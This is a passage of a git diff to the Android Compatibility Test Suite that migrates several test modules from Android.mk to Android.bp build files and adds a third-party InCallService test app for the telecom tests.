-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/syncmanager/apps/Android.bp b/tests/tests/syncmanager/apps/Android.bp
new file mode 100644
index 0000000..9dfe862
--- /dev/null
+++ b/tests/tests/syncmanager/apps/Android.bp
@@ -0,0 +1,59 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSyncManagerApp1",
+    defaults: ["cts_defaults"],
+    srcs: ["app1/src/**/*.java"],
+    static_libs: [
+        "CtsSyncManagerCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "app1/AndroidManifest.xml",
+    resource_dirs: ["app1/res"],
+}
+
+android_test_helper_app {
+    name: "CtsSyncManagerApp2",
+    defaults: ["cts_defaults"],
+    srcs: ["app1/src/**/*.java"],
+    static_libs: [
+        "CtsSyncManagerCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "app2/AndroidManifest.xml",
+    resource_dirs: ["app2/res"],
+}
diff --git a/tests/tests/syncmanager/apps/Android.mk b/tests/tests/syncmanager/apps/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/tests/tests/syncmanager/apps/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/syncmanager/apps/app1/Android.mk b/tests/tests/syncmanager/apps/app1/Android.mk
deleted file mode 100644
index c619fe3..0000000
--- a/tests/tests/syncmanager/apps/app1/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSyncManagerApp1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsSyncManagerCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/syncmanager/apps/app2/Android.mk b/tests/tests/syncmanager/apps/app2/Android.mk
deleted file mode 100644
index 50bc2f3..0000000
--- a/tests/tests/syncmanager/apps/app2/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSyncManagerApp2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../app1/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsSyncManagerCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/syncmanager/common/Android.bp b/tests/tests/syncmanager/common/Android.bp
new file mode 100644
index 0000000..cba51fc
--- /dev/null
+++ b/tests/tests/syncmanager/common/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsSyncManagerCommon",
+    srcs: [
+        "src/**/*.java",
+        "proto/**/*.proto",
+    ],
+    proto: {
+        type: "lite",
+    },
+    libs: [
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target",
+        "compatibility-device-util-axt",
+        "android.test.runner.stubs",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/syncmanager/common/Android.mk b/tests/tests/syncmanager/common/Android.mk
deleted file mode 100644
index c908b19..0000000
--- a/tests/tests/syncmanager/common/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-proto-files-under, proto)
-
-LOCAL_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target \
-    compatibility-device-util-axt \
-    android.test.runner.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := CtsSyncManagerCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/systemintents/Android.bp b/tests/tests/systemintents/Android.bp
new file mode 100644
index 0000000..37c4c24
--- /dev/null
+++ b/tests/tests/systemintents/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSystemIntentTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
deleted file mode 100644
index 16b8998..0000000
--- a/tests/tests/systemintents/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules compatibility-device-util-axt
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index 941fef7..f6911b3 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -29,8 +29,6 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CddTest;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -83,7 +81,6 @@
                     new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS))
     };
 
-    @CddTest(requirement="3.8.3.3/C-1-1,3.2.3.5/C-1-1,7.4.7/C-1-2,C-2-3,6.2/C-0-1")
     @Test
     public void testSystemIntents() {
         final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
new file mode 100644
index 0000000..884efb4
--- /dev/null
+++ b/tests/tests/systemui/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSystemUiTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "ub-uiautomator",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+}
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
deleted file mode 100644
index 5b519b2..0000000
--- a/tests/tests/systemui/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules \
-    ub-uiautomator
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSystemUiTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index a2c74fc..b8ff27a 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -31,11 +31,19 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   $(call all-java-files-under, ThirdPtyInCallServiceTestApp) \
+                   $(call all-Iaidl-files-under, ThirdPtyInCallServiceTestApp)
+
+LOCAL_AIDL_INCLUDES := ThirdPtyInCallServiceTestApp/aidl/
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 21
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
+LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
+
 include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index fafeb5a..1dd474c 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -27,6 +27,7 @@
     <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
     <uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
 
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
 
@@ -71,12 +72,11 @@
             </intent-filter>
         </service>
 
-        <service android:name="com.android.compatibility.common.util.BlockedNumberService"
-            android:exported="true"
-            android:singleUser="true" >
+        <service android:name="android.telecom.cts.CtsPhoneAccountSuggestionService"
+                 android:permission="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
+                 android:enabled="false" >
             <intent-filter>
-                <action android:name="android.telecom.cts.InsertBlockedNumber"/>
-                <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
+                <action android:name="android.telecom.PhoneAccountSuggestionService"/>
             </intent-filter>
         </service>
 
@@ -93,6 +93,12 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="android.telecom.cts.NewOutgoingCallBroadcastReceiver">
+            <intent-filter>
+                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
+            </intent-filter>
+        </receiver>
+
         <activity android:name="android.telecom.cts.MockDialerActivity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index 46de0b7..c3b1dc5 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -16,12 +16,15 @@
 <configuration description="Configuration for Telecom Tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelecomTestCases.apk" />
+        <option name="test-file-name" value="ThirdPtyInCallServiceTestApp.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.mk b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.mk
new file mode 100644
index 0000000..401d55c
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.mk
@@ -0,0 +1,46 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+src_dirs := src \
+    ../src/android/telecom/cts/MockInCallService.java \
+    ../src/android/telecom/cts/MockVideoCallCallback.java \
+    ../src/android/telecom/cts/MockVideoProvider.java \
+    ../src/android/telecom/cts/TestUtils.java \
+    ../src/android/telecom/cts/MockConnection.java \
+    ../src/android/telecom/cts/SelfManagedConnection.java \
+    ../src/android/telecom/cts/CtsSelfManagedConnectionService.java
+
+LOCAL_SRC_FILES := $(call all-java-files-under, $(src_dirs)) \
+                   $(call all-Iaidl-files-under, aidl)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util-axt \
+	ctstestrunner \
+	androidx.test.rules
+
+LOCAL_AIDL_INCLUDES := aidl/
+
+LOCAL_PACKAGE_NAME := ThirdPtyInCallServiceTestApp
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SDK_VERSION := test_current
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PROGUARD_ENABLED := disabled
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..4f439fb
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.telecom.cts.thirdptyincallservice"
+          android:versionCode="1"
+          android:versionName="1.0" >
+
+    <!-- sdk 15 is the max for read call log -->
+    <uses-sdk android:minSdkVersion="15" />
+
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.CALL_COMPANION_APP" />
+
+    <application android:label="ThirdPtyCTSInCallService">
+        <service android:name=".CtsThirdPartyInCallService"
+                 android:permission="android.permission.BIND_INCALL_SERVICE"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <!--  indicates it's a non-UI service, required by non-Ui InCallService -->
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                       android:value="true" />
+        </service>
+        <service android:name=".CtsThirdPartyInCallServiceControl"
+                 android:launchMode="singleInstance">
+            <intent-filter>
+                <action
+                    android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
+            </intent-filter>
+        </service>
+        <service android:name=".CtsThirdPartyInCallService"
+                 android:permission="android.permission.BIND_INCALL_SERVICE"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
+                       android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                       android:value="true" />
+        </service>
+    </application>
+
+</manifest>
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/aidl/android/telecom/cts/thirdptyincallservice/ICtsThirdPartyInCallServiceControl.aidl b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/aidl/android/telecom/cts/thirdptyincallservice/ICtsThirdPartyInCallServiceControl.aidl
new file mode 100644
index 0000000..19cad8b
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/aidl/android/telecom/cts/thirdptyincallservice/ICtsThirdPartyInCallServiceControl.aidl
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptyincallservice;
+
+interface ICtsThirdPartyInCallServiceControl {
+
+    boolean checkBindStatus(boolean bind);
+
+    void resetCalls();
+
+    int getLocalCallCount();
+
+    void resetLatchForServiceBound(boolean bind);
+}
\ No newline at end of file
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java
new file mode 100644
index 0000000..4eea8ad
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptyincallservice;
+
+import android.content.Intent;
+import android.telecom.Call;
+import android.telecom.cts.MockInCallService;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CtsThirdPartyInCallService extends MockInCallService {
+
+    public static final String PACKAGE_NAME = "android.telecom.cts.thirdptyincallservice";
+    private static final String TAG = CtsThirdPartyInCallService.class.getSimpleName();
+    protected static final int TIMEOUT = 10000;
+
+    private static CountDownLatch sServiceBoundLatch;
+    private static CountDownLatch sServiceUnboundlatch;
+
+    private static Set<Call> sCalls = new HashSet<>();
+
+    /**
+     * Used to bind a call
+     * @param intent
+     * @return
+     */
+    @Override
+    public android.os.IBinder onBind(Intent intent) {
+        long olderState = sServiceBoundLatch.getCount();
+        sServiceBoundLatch.countDown();
+        Log.d(TAG, "In Call Service on bind, " + olderState + " -> " + sServiceBoundLatch);
+        return super.onBind(intent);
+    }
+
+    /**
+     * Used to unbind a call
+     * @param intent
+     * @return
+     */
+    @Override
+    public boolean onUnbind(Intent intent) {
+        long olderState = sServiceUnboundlatch.getCount();
+        sServiceUnboundlatch.countDown();
+        Log.d(TAG, "In Call Service unbind, " + olderState + " -> " + sServiceUnboundlatch);
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onCallAdded(Call call) {
+        Log.i(TAG, "onCallAdded");
+        super.onCallAdded(call);
+        sCalls.add(call);
+    }
+
+    @Override
+    public void onCallRemoved(Call call) {
+        Log.i(TAG, "onCallRemoved");
+        super.onCallRemoved(call);
+        sCalls.add(call);
+    }
+
+    private static boolean checkLatch(CountDownLatch latch) {
+        synchronized (sLock) {
+            boolean success = false;
+            try {
+                success = latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                success = false;
+            }
+            return success;
+        }
+    }
+
+    public static void resetLatchForServiceBound(boolean bind) {
+        synchronized (sLock) {
+            if (bind) {
+                // Set bind to true, reset unbind latch for unbinding.
+                sServiceUnboundlatch = new CountDownLatch(1);
+            } else {
+                // Set bind to false, reset bind latch for binding.
+                sServiceBoundLatch = new CountDownLatch(1);
+            }
+        }
+    }
+
+    public static boolean checkBindStatus(boolean bind) {
+        Log.i(CtsThirdPartyInCallService.class.getSimpleName(),
+                "checking latch status: service " + (bind ? "bound" : "not bound"));
+        return bind ?
+                checkLatch(sServiceBoundLatch)
+                : checkLatch(sServiceUnboundlatch);
+    }
+
+    public static void resetCalls() {
+        synchronized (sLock) {
+            Log.i(TAG, "clearing all the third party calls.");
+            for (Call c : sCalls) {
+                c.disconnect();
+            }
+            sCalls.clear();
+        }
+    }
+
+    public static int getLocalCallCount() {
+        synchronized (sLock) {
+            return sCalls.size();
+        }
+    }
+}
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceControl.java b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceControl.java
new file mode 100644
index 0000000..118b1f4
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceControl.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptyincallservice;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+public class CtsThirdPartyInCallServiceControl extends Service {
+
+    private static final String TAG = CtsThirdPartyInCallServiceControl.class.getSimpleName();
+    public static final String CONTROL_INTERFACE_ACTION =
+            "android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL";
+
+    private final IBinder mCtsCompanionAppControl = new ICtsThirdPartyInCallServiceControl.Stub() {
+
+        @Override
+        public boolean checkBindStatus(boolean bind) {
+            return CtsThirdPartyInCallService.checkBindStatus(bind);
+        }
+
+        @Override
+        public int getLocalCallCount() {
+            return CtsThirdPartyInCallService.getLocalCallCount();
+        }
+
+        @Override
+        public void resetLatchForServiceBound(boolean bind) {
+            CtsThirdPartyInCallService.resetLatchForServiceBound(bind);
+        }
+
+        @Override
+        public void resetCalls() {
+            CtsThirdPartyInCallService.resetCalls();
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+            Log.d(TAG, "onBind: return control interface.");
+            return mCtsCompanionAppControl;
+        }
+        Log.d(TAG, "onBind: invalid intent.");
+        return null;
+    }
+
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index d9c21e3..82ef3a1 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -26,6 +26,7 @@
 
 import android.content.Context;
 import android.content.Intent;
+import android.media.AudioManager;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
@@ -62,6 +63,7 @@
 
